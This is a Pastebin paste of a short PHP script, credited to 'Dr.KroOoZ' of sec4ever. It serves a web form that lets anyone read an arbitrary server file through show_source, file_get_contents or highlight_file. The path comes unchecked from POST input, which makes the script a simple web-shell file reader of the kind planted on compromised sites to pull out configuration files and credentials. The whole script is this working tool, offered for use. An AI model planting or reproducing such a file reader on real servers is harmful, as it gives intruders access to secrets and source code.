Ribang

Read File'z Using 3 Function'z

Feb 2nd, 2018
293
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. <?
  2. # Coded By : Dr.KroOoZ
  3. # Homepage : www.sec4ever.com
  4. # Email : b0x@hotmail.com
  5. # Greet'z : b0x - N.K - FoX - HaNiBaL KsA
  6. echo '<form method="POST">
  7. <title> Read Files </title>
  8. <select name="krz" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000">
  9. <option>show_source</option>
  10. <option>file_get_contents</option>
  11. <option>highlight_file</option>
  12. </select>
  13. <input type="text" name="path" value="File Path" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000">
  14. <input type="submit" value="Read" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000">';
  15. # Function'z
  16. $s = "show_source"; # 1
  17. $f = "file_get_contents"; # 2
  18. $h = "highlight_file"; # 3
  19. # file path
  20. $path = $_POST['path'];
  21. # 1
  22. if($_POST['krz'] == $s) {
  23. $sec = $s($path);
  24. echo "<pre> $sec </pre>";
  25. } else {
  26. echo '<br> <p align="center" dir="ltr"><font face="Tahoma" size="2">[~] Error </font></p>';
  27. }
  28. # 2
  29. if($_POST['krz'] == $f) {
  30. $sec4 = $f($path);
  31. echo "<pre> $sec4 </pre>";
  32. } else {
  33. echo '<br> <p align="center" dir="ltr"><font face="Tahoma" size="2">[~] Error </font></p>';
  34. }
  35. # 3
  36. if($_POST['krz'] == $h) {
  37. $sec4ever = $h($path);
  38. echo "<pre> $sec4ever </pre>";
  39. } else {
  40. echo '<br> <p align="center" dir="ltr"><font face="Tahoma" size="2">[~] Error </font></p>';
  41. }
  42. echo '<p align="center" dir="ltr"><font face="Tahoma" size="2">Coded By Dr.KroOoZ | b0x@hotmail.com | www.sec4ever.com</font></p>';
  43. ?>
Add Comment
Please, Sign In to add comment